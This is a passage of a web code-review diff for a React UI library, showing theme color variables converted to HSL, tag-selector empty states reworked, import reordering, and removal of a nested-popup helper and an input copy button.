--sidebar-accent: oklch(0.97 0 0);
--sidebar-accent-foreground: oklch(0.205 0 0);
--sidebar-border: oklch(0.922 0 0);
--sidebar-ring: oklch(0.708 0 0);
--sidebar-background: 0 0% 98%;
--sidebar-foreground: 240 5.3% 26.1%;
--sidebar-primary: 240 5.9% 10%;
--sidebar-primary-foreground: 0 0% 98%;
--sidebar-accent: 240 4.8% 95.9%;
--sidebar-accent-foreground: 240 5.9% 10%;
--sidebar-border: 220 13% 91%;
--sidebar-ring: 217.2 91.2% 59.8%;
/* Charts (raw HSL triples: H S% L%) */
/* Charts */
--chart-1: 173 58% 39%;
--chart-2: 12 76% 61%;
--chart-3: 197 37% 24%;
@@ -118,44 +109,45 @@ const DEFAULT_CSS_TEMPLATE = `/* ============================================
/* ---------- Dark Mode ---------- */
.dark {
--background: oklch(0.145 0 0);
--foreground: oklch(0.985 0 0);
--background: 0 0% 0%;
--foreground: 0 0% 98%;
--card: oklch(0.205 0 0);
--card-foreground: oklch(0.985 0 0);
--card: 240 4% 10%;
--card-foreground: 0 0% 98%;
--popover: oklch(0.205 0 0);
--popover-foreground: oklch(0.985 0 0);
--popover: 240 10% 3.9%;
--popover-foreground: 0 0% 98%;
--primary: oklch(0.922 0 0);
--primary-foreground: oklch(0.205 0 0);
--primary: 0 0% 98%;
--primary-foreground: 240 5.9% 10%;
--secondary: oklch(0.269 0 0);
--secondary-foreground: oklch(0.985 0 0);
--secondary: 240 3.7% 15.9%;
--secondary-foreground: 0 0% 98%;
--muted: oklch(0.269 0 0);
--muted-foreground: oklch(0.708 0 0);
--muted: 240 4% 10%;
--muted-foreground: 240 5% 64.9%;
--accent: oklch(0.269 0 0);
--accent-foreground: oklch(0.985 0 0);
--accent: 240 3.7% 15.9%;
--accent-foreground: 0 0% 98%;
--destructive: oklch(0.704 0.191 22.216);
--destructive: 0 84.2% 50.2%;
--destructive-foreground: 0 0% 98%;
--border: oklch(1 0 0 / 10%);
--input: oklch(1 0 0 / 15%);
--ring: oklch(0.556 0 0);
--border: 240 3.7% 15.9%;
--input: 240 4% 10%;
--ring: 240 4.9% 83.9%;
/* Sidebar */
--sidebar: oklch(0.205 0 0);
--sidebar-foreground: oklch(0.985 0 0);
--sidebar-primary: oklch(0.488 0.243 264.376);
--sidebar-primary-foreground: oklch(0.985 0 0);
--sidebar-accent: oklch(0.269 0 0);
--sidebar-accent-foreground: oklch(0.985 0 0);
--sidebar-border: oklch(1 0 0 / 10%);
--sidebar-ring: oklch(0.556 0 0);
--sidebar-background: 240 5.9% 10%;
--sidebar-foreground: 240 4.8% 95.9%;
--sidebar-primary: 224.3 76.3% 48%;
--sidebar-primary-foreground: 0 0% 100%;
--sidebar-accent: 240 3.7% 15.9%;
--sidebar-accent-foreground: 240 4.8% 95.9%;
--sidebar-border: 240 3.7% 15.9%;
--sidebar-ring: 217.2 91.2% 59.8%;
/* Charts (raw HSL triples: H S% L%) */
/* Charts */
--chart-1: 220 70% 50%;
--chart-2: 340 75% 55%;
--chart-3: 30 80% 55%;

View File

@@ -94,10 +94,9 @@ export function TagFilter({
<CommandEmpty>
<div className="flex flex-col items-center gap-2 py-1">
<span className="text-sm text-muted-foreground">
{tags.length === 0
? "No tags created yet."
: "No tags found."}
No tags found.
</span>
<HandleTag />
</div>
</CommandEmpty>
<CommandGroup>
@@ -119,9 +118,6 @@ export function TagFilter({
);
})}
</CommandGroup>
<div className="flex items-center justify-center p-2 border-t">
<HandleTag />
</div>
</CommandList>
</Command>
</PopoverContent>

View File

@@ -111,12 +111,19 @@ export function TagSelector({
<CommandEmpty>
<div className="flex flex-col items-center gap-2 py-1">
<span className="text-sm text-muted-foreground">
{tags.length === 0
? "No tags created yet."
: "No tags found."}
No tags found.
</span>
<HandleTag />
</div>
</CommandEmpty>
{tags.length === 0 && (
<div className="flex flex-col items-center gap-2 py-4">
<span className="text-sm text-muted-foreground">
No tags created yet.
</span>
<HandleTag />
</div>
)}
<CommandGroup>
{tags.map((tag) => {
const isSelected = selectedTags.includes(tag.id);
@@ -146,9 +153,6 @@ export function TagSelector({
);
})}
</CommandGroup>
<div className="flex items-center justify-center p-2 border-t">
<HandleTag />
</div>
</CommandList>
</Command>
</PopoverContent>

View File

@@ -1,7 +1,8 @@
import { ChevronDownIcon, ChevronUpIcon } from "lucide-react";
import * as React from "react";
import { Accordion as AccordionPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils";
import { ChevronDownIcon, ChevronUpIcon } from "lucide-react";
function Accordion({
className,

View File

@@ -1,9 +1,10 @@
"use client";
import * as React from "react";
import { AlertDialog as AlertDialogPrimitive } from "radix-ui";
import type * as React from "react";
import { Button } from "@/components/ui/button";
import { cn } from "@/lib/utils";
import { Button } from "@/components/ui/button";
function AlertDialog({
...props

View File

@@ -1,5 +1,5 @@
import * as React from "react";
import { cva, type VariantProps } from "class-variance-authority";
import type * as React from "react";
import { cn } from "@/lib/utils";

View File

@@ -1,7 +1,7 @@
"use client";
import * as React from "react";
import { Avatar as AvatarPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils";

View File

@@ -1,7 +1,8 @@
import { ChevronRightIcon, MoreHorizontalIcon } from "lucide-react";
import * as React from "react";
import { Slot } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils";
import { ChevronRightIcon, MoreHorizontalIcon } from "lucide-react";
function Breadcrumb({ className, ...props }: React.ComponentProps<"nav">) {
return (

View File

@@ -1,4 +1,4 @@
import type * as React from "react";
import * as React from "react";
import { cn } from "@/lib/utils";

View File

@@ -1,6 +1,6 @@
import * as React from "react";
import type { TooltipValueType } from "recharts";
import * as RechartsPrimitive from "recharts";
import type { TooltipValueType } from "recharts";
import { cn } from "@/lib/utils";

View File

@@ -1,9 +1,10 @@
"use client";
import { CheckIcon } from "lucide-react";
import * as React from "react";
import { Checkbox as CheckboxPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils";
import { CheckIcon } from "lucide-react";
function Checkbox({
className,

View File

@@ -1,8 +1,9 @@
"use client";
import * as React from "react";
import { Command as CommandPrimitive } from "cmdk";
import { CheckIcon, SearchIcon } from "lucide-react";
import type * as React from "react";
import { cn } from "@/lib/utils";
import {
Dialog,
DialogContent,
@@ -11,7 +12,7 @@ import {
DialogTitle,
} from "@/components/ui/dialog";
import { InputGroup, InputGroupAddon } from "@/components/ui/input-group";
import { cn } from "@/lib/utils";
import { SearchIcon, CheckIcon } from "lucide-react";
function Command({
className,
@@ -44,6 +45,10 @@ function CommandDialog({
}) {
return (
<Dialog {...props}>
<DialogHeader className="sr-only">
<DialogTitle>{title}</DialogTitle>
<DialogDescription>{description}</DialogDescription>
</DialogHeader>
<DialogContent
className={cn(
"top-1/3 translate-y-0 overflow-hidden rounded-xl! p-0",
@@ -51,11 +56,7 @@ function CommandDialog({
)}
showCloseButton={showCloseButton}
>
<DialogHeader className="sr-only">
<DialogTitle>{title}</DialogTitle>
<DialogDescription>{description}</DialogDescription>
</DialogHeader>
<Command>{children}</Command>
{children}
</DialogContent>
</Dialog>
);
@@ -67,7 +68,7 @@ function CommandInput({
}: React.ComponentProps<typeof CommandPrimitive.Input>) {
return (
<div data-slot="command-input-wrapper" className="p-1 pb-0">
<InputGroup className="h-11! in-data-[slot=dialog-content]:h-12! rounded-lg! border-input/30 bg-input/30 shadow-none! *:data-[slot=input-group-addon]:pl-2! in-data-[slot=dialog-content]:*:[svg]:size-5">
<InputGroup className="h-11! rounded-lg! border-input/30 bg-input/30 shadow-none! *:data-[slot=input-group-addon]:pl-2!">
<CommandPrimitive.Input
data-slot="command-input"
className={cn(
@@ -121,7 +122,7 @@ function CommandGroup({
<CommandPrimitive.Group
data-slot="command-group"
className={cn(
"overflow-hidden p-1 text-foreground **:[[cmdk-group-heading]]:px-2 **:[[cmdk-group-heading]]:py-1.5 **:[[cmdk-group-heading]]:text-xs **:[[cmdk-group-heading]]:font-medium **:[[cmdk-group-heading]]:text-muted-foreground in-data-[slot=dialog-content]:**:[[cmdk-group]:not([hidden])_~[cmdk-group]]:pt-0",
"overflow-hidden p-1 text-foreground **:[[cmdk-group-heading]]:px-2 **:[[cmdk-group-heading]]:py-1.5 **:[[cmdk-group-heading]]:text-xs **:[[cmdk-group-heading]]:font-medium **:[[cmdk-group-heading]]:text-muted-foreground",
className,
)}
{...props}
@@ -151,15 +152,13 @@ function CommandItem({
<CommandPrimitive.Item
data-slot="command-item"
className={cn(
"group/command-item relative flex cursor-default items-center gap-2 rounded-md px-2 py-1.5 in-data-[slot=dialog-content]:py-3 text-sm outline-hidden select-none in-data-[slot=dialog-content]:rounded-lg! data-[disabled=true]:pointer-events-none data-[disabled=true]:opacity-50 data-selected:bg-muted data-selected:text-foreground [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4 in-data-[slot=dialog-content]:[&_svg:not([class*='size-'])]:size-5 data-selected:*:[svg]:text-foreground",
"group/command-item relative flex cursor-default items-center gap-2 rounded-sm px-2 py-1.5 text-sm outline-hidden select-none in-data-[slot=dialog-content]:rounded-lg! data-[disabled=true]:pointer-events-none data-[disabled=true]:opacity-50 data-selected:bg-muted data-selected:text-foreground [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4 data-selected:*:[svg]:text-foreground",
className,
)}
{...props}
>
{children}
{"data-checked" in props && (
<CheckIcon className="ml-auto opacity-0 group-has-data-[slot=command-shortcut]/command-item:hidden group-data-[checked=true]/command-item:opacity-100" />
)}
<CheckIcon className="ml-auto opacity-0 group-has-data-[slot=command-shortcut]/command-item:hidden group-data-[checked=true]/command-item:opacity-100" />
</CommandPrimitive.Item>
);
}

View File

@@ -1,9 +1,10 @@
"use client";
import { CheckIcon, ChevronRightIcon } from "lucide-react";
import * as React from "react";
import { ContextMenu as ContextMenuPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils";
import { ChevronRightIcon, CheckIcon } from "lucide-react";
function ContextMenu({
...props

View File

@@ -1,9 +1,9 @@
import { XIcon } from "lucide-react";
import * as React from "react";
import { Dialog as DialogPrimitive } from "radix-ui";
import type * as React from "react";
import { Button } from "@/components/ui/button";
import { wasNestedPopupJustClosed } from "@/components/ui/nested-popup-context";
import { cn } from "@/lib/utils";
import { Button } from "@/components/ui/button";
import { XIcon } from "lucide-react";
function Dialog({
...props
@@ -49,8 +49,6 @@ function DialogContent({
className,
children,
showCloseButton = true,
onPointerDownOutside,
onEscapeKeyDown,
...props
}: React.ComponentProps<typeof DialogPrimitive.Content> & {
showCloseButton?: boolean;
@@ -64,20 +62,6 @@ function DialogContent({
"fixed top-1/2 left-1/2 z-50 flex max-h-[90vh] w-full max-w-[calc(100%-2rem)] -translate-x-1/2 -translate-y-1/2 flex-col gap-4 overflow-y-auto overscroll-contain rounded-xl bg-popover p-6 text-sm text-popover-foreground ring-1 ring-foreground/10 duration-100 outline-none sm:max-w-lg data-open:animate-in data-open:fade-in-0 data-open:zoom-in-95 data-closed:animate-out data-closed:fade-out-0 data-closed:zoom-out-95",
className,
)}
onPointerDownOutside={(event) => {
if (wasNestedPopupJustClosed()) {
event.preventDefault();
return;
}
onPointerDownOutside?.(event);
}}
onEscapeKeyDown={(event) => {
if (wasNestedPopupJustClosed()) {
event.preventDefault();
return;
}
onEscapeKeyDown?.(event);
}}
{...props}
>
{children}

View File

@@ -1,25 +1,13 @@
import { CheckIcon, ChevronRightIcon } from "lucide-react";
import * as React from "react";
import { DropdownMenu as DropdownMenuPrimitive } from "radix-ui";
import type * as React from "react";
import { markNestedPopupClosed } from "@/components/ui/nested-popup-context";
import { cn } from "@/lib/utils";
import { CheckIcon, ChevronRightIcon } from "lucide-react";
function DropdownMenu({
onOpenChange,
...props
}: React.ComponentProps<typeof DropdownMenuPrimitive.Root>) {
return (
<DropdownMenuPrimitive.Root
data-slot="dropdown-menu"
onOpenChange={(open) => {
if (!open) {
markNestedPopupClosed();
}
onOpenChange?.(open);
}}
{...props}
/>
);
return <DropdownMenuPrimitive.Root data-slot="dropdown-menu" {...props} />;
}
function DropdownMenuPortal({

View File

@@ -1,9 +1,9 @@
"use client";
import { Accordion as AccordionPrimitive } from "radix-ui";
// import { ScrollArea } from "@acme/components/ui/scroll-area";
// import { cn } from "@acme/components/lib/utils";
import { ChevronRight, type LucideIcon } from "lucide-react";
import { Accordion as AccordionPrimitive } from "radix-ui";
import React from "react";
import useResizeObserver from "use-resize-observer";
import { cn } from "@/lib/utils";

View File

@@ -1,4 +1,4 @@
import { type Label as LabelPrimitive, Slot } from "radix-ui";
import { Label as LabelPrimitive, Slot } from "radix-ui";
import * as React from "react";
import {
Controller,

View File

@@ -1,11 +1,12 @@
"use client";
import * as React from "react";
import { cva, type VariantProps } from "class-variance-authority";
import type * as React from "react";
import { cn } from "@/lib/utils";
import { Button } from "@/components/ui/button";
import { Input } from "@/components/ui/input";
import { Textarea } from "@/components/ui/textarea";
import { cn } from "@/lib/utils";
function InputGroup({ className, ...props }: React.ComponentProps<"div">) {
return (

View File

@@ -1,7 +1,8 @@
import { OTPInput, OTPInputContext } from "input-otp";
import { MinusIcon } from "lucide-react";
import * as React from "react";
import { OTPInput, OTPInputContext } from "input-otp";
import { cn } from "@/lib/utils";
import { MinusIcon } from "lucide-react";
function InputOTP({
className,

View File

@@ -1,17 +1,13 @@
import copy from "copy-to-clipboard";
import { Clipboard, EyeIcon, EyeOffIcon, RefreshCcw } from "lucide-react";
import { EyeIcon, EyeOffIcon, RefreshCcw } from "lucide-react";
import * as React from "react";
import { toast } from "sonner";
import { generateRandomPassword } from "@/lib/password-utils";
import { cn } from "@/lib/utils";
import { Button } from "./button";
export interface InputProps extends React.ComponentProps<"input"> {
errorMessage?: string;
enablePasswordGenerator?: boolean;
passwordGeneratorLength?: number;
enableCopyButton?: boolean;
}
function Input({
@@ -20,7 +16,6 @@ function Input({
errorMessage,
enablePasswordGenerator = false,
passwordGeneratorLength,
enableCopyButton = false,
ref,
...props
}: InputProps) {
@@ -70,67 +65,49 @@ function Input({
input.dispatchEvent(new Event("input", { bubbles: true }));
};
const handleCopy = () => {
copy(inputRef.current?.value || "");
toast.success("Value is copied to clipboard");
};
const inputElement = (
<div className="relative w-full">
<input
type={inputType}
data-slot="input"
className={cn(
"h-10 w-full min-w-0 rounded-lg border border-input bg-transparent px-3 py-2 text-sm transition-colors outline-none file:inline-flex file:h-7 file:border-0 file:bg-transparent file:text-sm file:font-medium file:text-foreground placeholder:text-muted-foreground focus-visible:border-ring focus-visible:ring-3 focus-visible:ring-ring/50 disabled:pointer-events-none disabled:cursor-not-allowed disabled:bg-input/50 disabled:opacity-50 aria-invalid:border-destructive aria-invalid:ring-3 aria-invalid:ring-destructive/20 md:text-sm dark:bg-input/30 dark:disabled:bg-input/80 dark:aria-invalid:border-destructive/50 dark:aria-invalid:ring-destructive/40",
isPassword && (shouldShowGenerator ? "pr-16" : "pr-10"),
className,
)}
ref={setRefs}
{...props}
/>
{isPassword && (
<div className="absolute inset-y-0 right-0 flex items-center gap-1 pr-3 text-muted-foreground">
{shouldShowGenerator && (
return (
<>
<div className="relative w-full">
<input
type={inputType}
data-slot="input"
className={cn(
"h-10 w-full min-w-0 rounded-lg border border-input bg-transparent px-3 py-2 text-sm transition-colors outline-none file:inline-flex file:h-7 file:border-0 file:bg-transparent file:text-sm file:font-medium file:text-foreground placeholder:text-muted-foreground focus-visible:border-ring focus-visible:ring-3 focus-visible:ring-ring/50 disabled:pointer-events-none disabled:cursor-not-allowed disabled:bg-input/50 disabled:opacity-50 aria-invalid:border-destructive aria-invalid:ring-3 aria-invalid:ring-destructive/20 md:text-sm dark:bg-input/30 dark:disabled:bg-input/80 dark:aria-invalid:border-destructive/50 dark:aria-invalid:ring-destructive/40",
isPassword && (shouldShowGenerator ? "pr-16" : "pr-10"),
className,
)}
ref={setRefs}
{...props}
/>
{isPassword && (
<div className="absolute inset-y-0 right-0 flex items-center gap-1 pr-3 text-muted-foreground">
{shouldShowGenerator && (
<button
type="button"
className="hover:text-foreground focus:outline-none"
onClick={handleGeneratePassword}
aria-label="Generate password"
title="Generate password"
tabIndex={-1}
>
<RefreshCcw className="h-4 w-4" />
</button>
)}
<button
type="button"
className="hover:text-foreground focus:outline-none"
onClick={handleGeneratePassword}
aria-label="Generate password"
title="Generate password"
onClick={() => setShowPassword(!showPassword)}
tabIndex={-1}
>
<RefreshCcw className="h-4 w-4" />
{showPassword ? (
<EyeOffIcon className="h-4 w-4" />
) : (
<EyeIcon className="h-4 w-4" />
)}
</button>
)}
<button
type="button"
className="hover:text-foreground focus:outline-none"
onClick={() => setShowPassword(!showPassword)}
tabIndex={-1}
>
{showPassword ? (
<EyeOffIcon className="h-4 w-4" />
) : (
<EyeIcon className="h-4 w-4" />
)}
</button>
</div>
)}
</div>
);
return (
<>
{enableCopyButton ? (
<div className="flex w-full items-center space-x-2">
{inputElement}
<Button type="button" variant={"secondary"} onClick={handleCopy}>
<Clipboard className="size-4 text-muted-foreground" />
</Button>
</div>
) : (
inputElement
)}
</div>
)}
</div>
{errorMessage && (
<span className="text-sm text-red-600 text-secondary-foreground">
{errorMessage}

View File

@@ -1,5 +1,5 @@
import * as React from "react";
import { Label as LabelPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils";

View File

@@ -1,9 +0,0 @@
let lastNestedPopupCloseAt = 0;
export function markNestedPopupClosed() {
lastNestedPopupCloseAt = performance.now();
}
export function wasNestedPopupJustClosed() {
return performance.now() - lastNestedPopupCloseAt < 100;
}

View File

@@ -1,26 +1,14 @@
"use client";
import * as React from "react";
import { Popover as PopoverPrimitive } from "radix-ui";
import type * as React from "react";
import { markNestedPopupClosed } from "@/components/ui/nested-popup-context";
import { cn } from "@/lib/utils";
function Popover({
onOpenChange,
...props
}: React.ComponentProps<typeof PopoverPrimitive.Root>) {
return (
<PopoverPrimitive.Root
data-slot="popover"
onOpenChange={(open) => {
if (!open) {
markNestedPopupClosed();
}
onOpenChange?.(open);
}}
{...props}
/>
);
return <PopoverPrimitive.Root data-slot="popover" {...props} />;
}
function PopoverTrigger({

View File

@@ -1,5 +1,5 @@
import * as React from "react";
import { Progress as ProgressPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils";

View File

@@ -1,7 +1,7 @@
"use client";
import * as React from "react";
import { RadioGroup as RadioGroupPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils";

View File

@@ -1,5 +1,5 @@
import * as React from "react";
import { ScrollArea as ScrollAreaPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils";

View File

@@ -1,7 +1,8 @@
import { CheckIcon, ChevronDownIcon, ChevronUpIcon } from "lucide-react";
import * as React from "react";
import { Select as SelectPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils";
import { ChevronDownIcon, CheckIcon, ChevronUpIcon } from "lucide-react";
function Select({
...props
@@ -57,7 +58,7 @@ function SelectTrigger({
function SelectContent({
className,
children,
position = "popper",
position = "item-aligned",
align = "center",
...props
}: React.ComponentProps<typeof SelectPrimitive.Content>) {
@@ -80,7 +81,7 @@ function SelectContent({
<SelectPrimitive.Viewport
data-position={position}
className={cn(
"p-1 data-[position=popper]:h-(--radix-select-trigger-height) data-[position=popper]:w-full data-[position=popper]:min-w-(--radix-select-trigger-width)",
"data-[position=popper]:h-(--radix-select-trigger-height) data-[position=popper]:w-full data-[position=popper]:min-w-(--radix-select-trigger-width)",
position === "popper" && "",
)}
>
@@ -114,7 +115,7 @@ function SelectItem({
<SelectPrimitive.Item
data-slot="select-item"
className={cn(
"relative flex w-full cursor-default items-center gap-1.5 rounded-md py-1.5 pr-8 pl-2 text-sm outline-hidden select-none focus:bg-accent focus:text-accent-foreground not-data-[variant=destructive]:focus:**:text-accent-foreground data-disabled:pointer-events-none data-disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4 *:[span]:last:flex *:[span]:last:items-center *:[span]:last:gap-2",
"relative flex w-full cursor-default items-center gap-1.5 rounded-md py-1 pr-8 pl-1.5 text-sm outline-hidden select-none focus:bg-accent focus:text-accent-foreground not-data-[variant=destructive]:focus:**:text-accent-foreground data-disabled:pointer-events-none data-disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4 *:[span]:last:flex *:[span]:last:items-center *:[span]:last:gap-2",
className,
)}
{...props}

View File

@@ -1,5 +1,5 @@
import * as React from "react";
import { Separator as SeparatorPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils";

View File

@@ -1,8 +1,9 @@
import { XIcon } from "lucide-react";
import * as React from "react";
import { Dialog as SheetPrimitive } from "radix-ui";
import type * as React from "react";
import { Button } from "@/components/ui/button";
import { cn } from "@/lib/utils";
import { Button } from "@/components/ui/button";
import { XIcon } from "lucide-react";
function Sheet({ ...props }: React.ComponentProps<typeof SheetPrimitive.Root>) {
return <SheetPrimitive.Root data-slot="sheet" {...props} />;

View File

@@ -368,7 +368,7 @@ function SidebarContent({ className, ...props }: React.ComponentProps<"div">) {
data-slot="sidebar-content"
data-sidebar="content"
className={cn(
"no-scrollbar flex min-h-0 flex-1 flex-col gap-2 overflow-y-auto overflow-x-hidden",
"no-scrollbar flex min-h-0 flex-1 flex-col gap-2 overflow-auto group-data-[collapsible=icon]:overflow-hidden",
className,
)}
{...props}

View File

@@ -1,14 +1,14 @@
"use client";
import { useTheme } from "next-themes";
import { Toaster as Sonner, type ToasterProps } from "sonner";
import {
CircleCheckIcon,
InfoIcon,
Loader2Icon,
OctagonXIcon,
TriangleAlertIcon,
OctagonXIcon,
Loader2Icon,
} from "lucide-react";
import { useTheme } from "next-themes";
import { Toaster as Sonner, type ToasterProps } from "sonner";
const Toaster = ({ ...props }: ToasterProps) => {
const { theme = "system" } = useTheme();

View File

@@ -1,5 +1,5 @@
import * as React from "react";
import { Switch as SwitchPrimitive } from "radix-ui";
import type * as React from "react";
import { cn } from "@/lib/utils";

Some files were not shown because too many files have changed in this diff Show More